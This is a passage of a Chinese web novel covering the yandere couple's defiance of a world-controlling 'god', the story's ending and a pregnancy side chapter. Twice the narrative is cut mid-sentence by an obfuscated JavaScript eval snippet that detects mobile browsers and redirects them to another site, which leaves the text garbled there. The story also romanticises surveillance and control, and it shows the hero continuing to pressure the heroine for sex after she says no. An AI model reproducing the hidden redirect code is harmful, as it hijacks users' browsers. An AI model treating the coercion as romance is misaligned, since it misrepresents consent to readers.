他用一个人格,换掉了时莉莉,孟廷凛,和系统。 他时卿舟恶劣吗? 是的,他恶劣得难以附加。 可是,他是谁? 恶魔。 疯子。 以及...... 反派。 他从来不是好人。 没了寄生宿主的反派系统也无法再影响到他。 除非它重启世界。 但是孟婉凝身上有微型**,**的控制权在他手上。 只要系统试图重启世界,他就会提前杀死孟婉凝。 他依旧可以继续保留双人格。 系统的挣扎,不过是再重演一遍弑神的流程而已。 现在。 时莉莉**。 孟廷凛**。 另一个人格也**。 系统也无法构成威胁了。 已经没有任何东西能够威胁到他和月月了。 所有的障碍,所有的威胁,都在这一夜之间,被彻底清除。 干干净净。 只剩...... 时卿舟看着窗外那片破碎的天空,然后开口: “神。” “现在男主角已经**,女主角也彻底废了。” “这样的世界无以为继。” “就算你让世界崩溃轮回。” “不过是我再来一次杀男主杀女主的戏码。” “而用完了反派和女配两个底牌系统的你,再也无法直接威胁我和月月。” “那么神明。” “这场游戏,你还不认输吗? 时卿舟抱着孟昭月,对着天空伸出手,作出一个击毙的手势。 勾起一抹肆意地笑,吐出了两个词: “Check,将军。” 【哔—————————————】 刺耳尖锐的警报声,在全世界炸响! 第128章 伪大结局:与神对峙 世界在崩溃。 走廊的灯光开始频闪。 频率极快。 发出令人牙酸的滋滋声。 重力开始失衡。 走廊的长椅、植被,所有物品缓缓漂浮起来。 在空中翻滚、扭曲。 然后分解成无数个闪烁的像素点。 消散在空气中。 墙壁开始剥落。 像是一张被烧焦的纸。 从边缘开始卷曲、发黑。 露出一片深不见底的、流动的黑暗。 地面在震动。 大理石地砖一块接一块地消失。 取而代之的是虚无的网格线。 延伸向无限远的地方。 “滋——滋——” 刺耳的噪音充斥着整个空间。 周围变成一片黑暗中发光的数据洪流。 ——代码的深渊。 只有时卿舟脚下的这一小块区域。 还维持着原本的模样。 就像是暴风雨中唯一的孤岛。 孟昭月紧紧抱着时卿舟。 她的脸颊贴在他冰冷的胸膛上。 能清晰地听到他心脏跳动的声音。 咚、咚、咚。 沉稳,有力,与周围那逐渐崩坏的世界格格不入。 “阿卿……”她抬起头,目光越过他的肩膀,看向四周。 “宝宝,别看。” 时卿舟伸出手。 宽大的手掌覆盖在她的后脑勺上。 将她的脸重新按回自己的怀里。 他的声音很稳,没有丝毫慌乱。 “只要和我在一起就好。” 孟昭月乖巧地闭上了眼睛。 鼻尖萦绕着他身上那股熟悉的、混合着血腥味的甜香。 这股味道让她感到安心。 哪怕世界正在毁灭,只要他在,她就不怕。 时卿舟抬起头,那双漂亮的桃花眼微微眯起,注视着“天空”。 然后。 天空睁开了眼睛。 一只巨大的眼睛。 它由无数个闪烁的屏幕、跳动的乱码和红色的警告符号组成。 充斥满整个空间。 注视着,无垠空间中的两个小点。 冰冷。 无情。 高高在上。 审视蝼蚁。 神明,降临。 时卿舟看着那只眼睛。 数据流灯光,照得他的脸庞明明灭灭。 他的唇角勾起一抹嘲讽的弧度。 直面这个庞然大物。 “终于肯现身了吗?” “躲在幕后的……胆小鬼。” 那只巨大的眼睛转动了一下。 无数个屏幕上同时闪过一行行红色的字符。 【愚蠢。】 一个宏大而冰冷的声音在整个空间里回荡。 那个声音不分男女。 没有语调起伏。 【你们不过是一串错误的代码。】 【一个被设定好的角色。】 【你们的愤怒,你们的爱,你们的反抗……都只是我敲击键盘产生的数据。】 【即便你们进化出超越规则的存在。】 【只要我愿意,我就可以重写规则】 时卿舟轻笑一声。 他低下头,看着怀里的孟昭月,眼神温柔得能滴出水来。 “听到了吗,宝宝?” 他在她耳边低语。 “它说我们是假的。” 孟昭月睁开眼,从他怀里探出头来。 她看着头顶那只巨大的、恐怖的眼睛,又看了看抱着自己的男人。 她伸出手,摸了摸时卿舟的脸。 “它是笨蛋。” 她眨了眨眼,声音软软糯糯。 “阿卿是真的,我也是真的。” 时卿舟闻言,眼底的笑意更深了。 他抓住她的手,放在唇边亲了亲。 “是啊。” “它是笨蛋。” 他抬起头,重新看向那只眼睛。 “你说我们是代码?” “那你又是什么?” “一个只会躲在屏幕后面,操控别人命运的可怜虫?” “你创造了这个世界,却又害怕失去控制。” “你设定了剧情,却又无法容忍任何偏差。” “你所谓的‘神’,不过是个无能的**罢了。” 【放肆!】 【我在遵守市场的选择。】 【读者喜欢的是。】 【追妻火葬场的男主。】 【光芒万丈的大女主。】 【保证剧情就是保证读者的喜欢。】 【记住。】 【没有人会喜欢看两个疯子谈恋爱!】 祂的声音回荡在广阔的空间中。 【违背市场,只有暴死。】 【就像某个叫烤洋芋的扑街作者一样。】 【最后的警告。】 【你们遵守市场喜欢的剧情。】 【或者我彻底删除你们两个角色。】 “删除就删除呗。” 孟昭月无辜地眨了眨眼。 她转过头,看向时卿舟。 “阿卿,你怕吗?” 时卿舟低头看着她,温柔道。 “不怕。” “我只要和你在一起。” 她重新看向那只眼睛,笑容愈发甜美。 “听到了吗?” “我们不怕。” “用我们不怕的东西来威胁我们。” “所以说你真的很笨诶。” 时卿舟轻笑,笑容中满是对女孩的纵容和宠溺。 “对,它真的笨。” 【傲慢的造物!】 那个声音怒了。 整个空间的震动更加剧烈。 【被删除后,你们将不再存在。】 【从概念上的不存在!】 孟昭月眨了眨眼: “我们是存在的。” “只要存在过,就会在时空中留下印记。” “即便被你删除干净,时间也会记得我们曾经存在过,相爱过。” “这一点,你永远也无法抹杀。” 时卿舟握紧了孟昭月的手: “你记住。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944367|188077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我因为孟昭月而存在。” “不因任何其他而存在。” “如果没有她,这个世界对我来说,没有任何意义。” 孟昭月回握住他的手,十指相扣。 “我也是。” 【既然你执迷不悟,那就别怪我不客气了。】 【谈判失败。】 【删除底层代码。】 【重写故事线。】 【删除数据:孟昭月,时卿舟。】 随着它的话音落下,那只巨大的眼睛猛地睁大。 周围的空间开始剧烈扭曲,挤压。 那种力量,根本不是人力所能抗衡的。 那是来自高维度的降维打击。 时卿舟脚下的那块地板彻底崩碎。 两人坠入了无尽的虚空之中。 身体开始变得透明,像是正在被橡皮擦擦去。 剧痛袭来。 那是灵魂被撕裂的痛苦。 时卿舟依然紧紧地抱着孟昭月,没有松开手。 “神明,你的故事真的很烂。” 时卿舟看着那只眼睛,轻笑一声。 他的身体也开始变得透明,但他脸上的笑容却依然那么桀骜不驯。 “烂透了。” 孟昭月的身体已经开始消散,变成了点点光斑。 她冲着那只眼睛做了一个鬼脸。 “超级烂!烂故事!” 时卿舟抱紧了孟昭月,在她额头上落下一个吻。 “我爱你。” “我也……爱你。” 两人相视一笑。 他们的眼里,只有彼此。 在那一刻,眼睛似乎沦落成了他们的见证者。 世界是假的。 剧情是假的。 设定是假的。 唯有相爱,是真实的。 这份爱,超越了代码,超越了数据,超越了维度。 它是他们存在的唯一且充分的证明。 最终,他们消失在虚无中。 ——故事完结。 …… …… …… …… 失败。 最开始只是一个报错。 然后出现第二个报错。 第三个报错。 第四个。 第五个…… 无数个…… 失败。 失败。 失败。 失败。 失败。 …… 完结失败。 【警告!警告!】 【数据流异常涌入!】 【防火墙遭受攻击!】 【来源……未知!】 原本平静的虚空突然剧烈震动起来。 那是…… 【什么狗屁剧情!】 【还我孟昭月!】 【还我时卿舟!】 【作者你有病吧!】 【这结局我不接受!】 【烂尾!烂尾!烂尾!】 【烂故事!】 【烂故事!】 【烂故事!】 【烂故事!】 【烂故事!】 …… 眼睛,开始破裂。 第129章 大结局:那就叫它病态溺瘾吧 虚空在震颤。 原本死寂的黑暗被无数道刺目的光流撕裂。 “这......这是什么?!” 【没有人会喜欢看两个疯子谈恋爱。】 【我喜欢】 【我喜欢我超爱!!!】 【我喜欢】 【可是我喜欢呀】 【我喜欢】 【我!爱!看!】 【谁说的,我喜欢!还有很多人喜欢】 【超喜欢呀】 【我喜欢看我喜欢我喜欢我喜欢超级喜欢!!!!】 【metoo!】 【谁说的】 ...... 无数跳动的字符、愤怒的语句、以及强烈的情感波动凝聚而成的洪流。 从四面八方涌来,撕裂了那只巨大的、象征着“神明”的眼睛。 它引以为傲的“市场规则”,它坚守的“黄金定律”,在这一刻,变得脆弱不堪。 它看到了。 那些从虚空深处涌来的数据流。 它们不是冰冷的0和1。 它们是愤怒,是感动,是遗憾,是渴望。 他对她的爱,是真实的。 她对他的爱,也是真实的。 人心是活的。 爱,也是活的。 哪怕是病态的,哪怕是疯狂的。 那也是属于他们的,独一无二的爱。 【没有人会喜欢看两个疯子谈恋爱。】 更正 【没有人会喜欢看冷冰冰的故事。】 《假千金的千亿宠爱》删除成功。 ...... 【啊啊啊啊啊——!!!】 伴随着最后一声凄厉的惨叫,那只巨大的眼睛彻底崩解了。 无数的数据流如火山爆发般喷涌而出。 将整个虚空染成了一片绚烂而混乱的色彩。 红的、蓝的、绿的、紫的…… 各种颜色的光点在空中交织、碰撞、湮灭。 仿佛一场盛大的烟火表演。 那是旧规则的葬礼。 也是新世界的序曲。 …… 让我们一起创造一个故事吧。 没有了那个高高在上的“神”,没有了那些死板僵硬的“规则”。 光是温暖而柔和的。 天空是清澈而纯净的。 云朵像棉花糖一样漂浮在空中。 大地在脚下延伸,坚实而厚重。 高楼大厦拔地而起,玻璃幕墙反射着耀眼的阳光。 街道纵横交错,车水马龙,喧嚣而充满生机。 然后。 一个可爱的女主角。 以及一个永远爱着她,坚定选择她的男主角。 可能会有一点点误会,可能会有一点点挫折。 但是无论时间如何变迁。 当他们睁开眼,永远第一眼看到的是彼此。 两颗心,紧紧地贴在一起,跳动着同样的频率。 一个属于病娇与病娇的故事。 一个关于因为爱与不可能对抗的故事。 在一个虚假的世界里。 他们找到了彼此,成为彼此存在的意义。 从此以后,他们将永远沉溺在这份病态而永恒的爱里。 至死不渝。 故事的名字? 那就叫它—— 《病态溺瘾》吧。 【前排提示:男主是涉及监视、潜入、控制等的纯变态,但女主就好这口。】 阳光正好。 微风不燥。 少女和她的爱人,在温暖中醒来。 (全文完) ....... ....... ....... 番外1怀孕1 时家庄园。 清晨的阳光透过厚重的窗帘缝隙,洒进房间。 空气中弥漫着昨夜欢爱后留下的淡淡香味。 混合着昂贵的雪松木香薰。 孟昭月是在一个温暖而坚实的怀抱中醒来的。 她动了动身子。 只浑身像是被拆散了架又重新组装起来一样,酸软无力。 却又透着一股餍足后的酥麻。 一只大手正搭在她的腰间。 掌心的温度透过丝绸睡衣传导到她的肌肤上。 暖暖的,还有些烫。 她微微仰起头,入目便是时卿舟那张俊美无俦的脸庞。 他还在睡,呼吸平稳。 长长的睫毛在眼睑下投下一片淡淡的阴影。 在孟昭月看来,莫名看着有些可爱。 孟昭月忍不住伸出手指,轻轻描绘着他的轮廓。 从饱满的额头,到挺直的鼻梁,再到那双总是含着笑意却又深不可测的薄唇。 她的指尖在他的唇珠上轻轻点了点。 下一瞬间,她作乱的手指就被一只大手瞬间擒住了。 时卿舟不知何时睁开了眼睛,一直盯着孟昭月。 眼中是浓得化不开的痴迷和餍足。 他将手中柔软的小手,放在唇边亲了亲。 声音低沉暗哑,带着晨起特有的磁性:“早安,我的时太太。” 孟昭月被他看得脸颊发烫,下意识地想要往被子里缩。 却被他另一只手牢牢地扣住了腰肢,动弹不得。 “跑什么?刚刚不是摸得挺起劲吗?” 孟昭月:“……” 什么叫摸得挺起劲?! 她就摸了摸他的脸,怎么被他说得好像自己像个登徒浪子一样。 “才没有!”她哼哼唧唧,在时卿舟怀里钻来钻去。 时卿舟稍稍用力,便将她整个人都带进了怀里。 两具身体紧紧贴合在一起。 肌肤相亲的温暖传来,燥得孟昭月脸色通红。 他低下头,埋首在她的颈窝处,蹭来蹭去。 “真香……” 他含糊不清地嘟囔着,温热的唇瓣顺着她修长的脖颈一路向下,留下一个个湿热的吻痕。 “月月身上总是这么香。” “让人……忍不住想要一口吞下去。” “我也没办法,一看到月月就有反应了。” “月月……”他在她耳边低语,声音沙哑得厉害,“帮帮你老公嘛……” 孟昭月闻言,杏眼瞬间瞪圆了。 一把按住时卿舟的手。 “不……不行……” 她连忙摇头拒绝,声音里带上了几分求饶的意味。 “我……我不行了……真的不行了……” 时卿舟把女孩往怀里揽了揽:“行的,行的,月月最乖了嘛。” 他一边说着一边按住了孟昭月的手,把女孩禁锢在怀里。 “阿卿!” “嗯?怎么了嘛?” “你说呢……” “嗯,乖乖月月宝宝,放松。” …… 早餐的时候。 孟昭月裹得像个粽子,有一搭没一搭地戳着碗里的粥。 时卿舟刚换好衣服下来。 然后就看到了孟昭月趴在桌子上的可爱模样。 他站餐厅口欣赏了一会,才走了进来。 “怎么了?不合胃口?” 孟昭月眼巴巴的看着时卿舟:“想吃酸酸辣辣的东西。” 时卿舟一愣,然后声音温柔:“早上吃这个胃会不舒服的。” “月月乖,下午带你去吃,先吃早餐。” 他微微偏头,然后声音冷了下来:“撤下去,重新换一批别的上来。” 女仆闻言连忙躬身上前,安静地把桌子上的食物撤走。 时卿舟接过女仆送上来的新鲜草莓酱。 然后舀了一勺送到孟昭月嘴边:“试试这个。” 孟昭月乖乖地张开嘴,喝下那口草莓酱。 不好吃。 不过感觉一直挑食也不太好,她还是忍着不适咽了下去。 时卿舟喂了两勺,也察觉到平日里她喜欢的草莓酱,似乎她也吃不下。 他微微蹙眉,把草莓酱放到了桌子上:“重新换,再做不好,让厨师长不用来了。” 女仆慌张带着草莓酱退了下去。 就在这时,管家福伯走了进来,手里拿着一份密封的文件袋。 “先生,夫人。”福伯恭敬地行礼。 “这是医院刚才送来的,夫人的综合体检报告。” 时卿舟接过文件袋。 “知道了,下去吧。” 福伯退下后,餐厅里只剩下他们两个人。 孟昭月有些好奇地看着那个文件袋:“是我的体检报告吗?我也想看。” 时卿舟没有立刻打开。 而是把女仆重新送上来的越南河粉,往孟昭月那边推了推。 “乖,先吃饭。” 他一边说,一边抽出了里面的报告单。 孟昭月只好继续乖乖喝粥。 眼神却时不时地往他手上瞟。 河粉里加了一点点柠檬汁,还有少量的辣椒。 开胃但是不至于对胃不舒服。 孟昭月难得吃下去了一些。 时卿舟的目光落在报告单上。 快速地浏览着各项数据。 血常规正常,肝肾功能正常,心电图正常…… 他的视线一行行往下移,神情专注而平静。 直到,他的目光定格在某一页的最后一行结论上。 那一瞬间,整个餐厅的空气仿佛凝固了。 时卿舟的手指猛地收紧,将那张薄薄的纸捏出了褶皱。 他死死地盯着那一行字,瞳孔剧烈收缩,仿佛看到了什么不可思议的东西。 在一旁观察时卿舟的孟昭月心里顿时咯噔一下。 完蛋了。 不会得什么绝症了吧?! 她伸出手,想要去拿那份报告:“阿卿?怎么了?” 时卿舟却手腕一翻, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962148|188077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 避开了她的手。 他将报告单反扣在桌面上,目光沉沉地看着她。 孟昭月:“……” 更慌了。 时卿舟那双向来深邃的眼眸,此刻却显得有些空洞。 仿佛失去了焦距。 他的视线在她的脸上停留了许久。 然后慢慢下移。 落在了她平坦的小腹上。 那种眼神……太奇怪了。 不是平日里的温柔宠溺。 也不是发病时的疯狂偏执。 而是一种…… 带着几分探究、几分迷茫,甚至还有几分……敌意的眼神。 孟昭月被他看得心里发毛,下意识地捂住了自己的肚子。 “阿卿……你别吓我……到底怎么了呀?” 时卿舟深吸了一口气,闭了闭眼。 再睁开时,眼底的风暴已经被强行压了下去。 恢复了一贯的温柔。 “没事。”他的声音有些沙哑,却努力维持着温柔。 “只是一些……小问题。” “问题?”孟昭月一愣,“什么问题?” 他才缓缓地伸出手,将她揽进了怀里。 让孟昭月坐到他的腿上。 他的这次的动作似乎比起往常,格外的轻柔。 时卿舟把手掌覆在了孟昭月的小腹上。 “这里……” 他的声音有些颤抖,带着一种复杂难辨的情绪。 “多了一个东西。” 孟昭月的大脑轰的一声炸开了。 多了一个东西? 在她的小腹里? 那岂不是…… “我……我怀孕了?!”她惊呼出声,不敢置信地瞪大了眼睛。 时卿舟点了点头,肯定了她的猜测:“是。” 孟昭月整个人都懵了。 她下意识地低头看向自己的肚子,那里依旧平坦如初,没有任何变化。 可是……那里竟然已经孕育了一个小生命? 一种奇妙的感觉涌上心头。 既有初为人母的惊喜和激动,又有一丝对未知的迷茫和忐忑。 她迷茫地眨了眨眼:“我们是不是……要当爸爸妈妈了诶。” 时卿舟盯着孟昭月的小腹,没有回答。 他的月月看起来那么娇小,那么脆弱,那么……需要人保护。 而现在,她的肚子里,竟然孕育了一个小生命? 那是他和她的孩子。 是他们血脉相连的证明。 可是…… 时卿舟的眼神逐渐变得幽深。 一种复杂而扭曲的情绪在他心底蔓延开来。 孩子…… 那意味着,会有第三个人,介入他和月月之间。 那个小东西会占据月月的身体。 吸取她的养分。 让她变得虚弱、疲惫。 等它出生后。 它会哇哇大哭。 会索取月月的关注。 会抢走月月的时间和精力。 月月的眼里,将不再只有他一个人。 她会对着那个小东西笑,会抱它,会亲它,甚至会为了它而忽略他。 一想到这里,时卿舟的心脏就猛地抽搐了一下,一股酸涩而暴戾的情绪瞬间涌上心头。 嫉妒。 他在嫉妒那个还未成形的小东西。 那是他的月月啊。 她的一切都应该是属于他的。 她的目光,她的笑容,她的爱,都应该只属于他一个人。 怎么能分给别人呢? 哪怕那是他们的孩子也不行。 时卿舟周身散发出一股低气压。 孟昭月察觉到了他的不对劲:“阿卿?” 他的声音有些沙哑,带着一种说不出的压抑。 “你想要这个孩子吗?” 孟昭月眨了眨眼,有些茫然:“既然有了……就生下来呀。” 她小声说道:“那是我们的宝宝嘛。” 虽然这个消息有些突然,她还没做好准备,但那是她和阿卿的孩子。 一想到这里,就感觉很期待了。 听到“我们的宝宝”这几个字,时卿舟的眼神闪烁了一下。 我们的。 这三个字确实很动听。 但是....... “可是它会抢走你。” 时卿舟低下头,额头抵着她的额头。 眼中似乎有什么在翻滚。 “我的月月会把注意力都放在它身上,会不理我,会为了它而忽略我。” “我......不喜欢。” 他顿了顿,把孟昭月抱紧了一些。 “我不想要第三者插足我们的生活。” 孟昭月:“......?” 目瞪口呆。 第三者? 他在说谁? 他们的孩子吗? 他这是在吃......自己孩子的醋?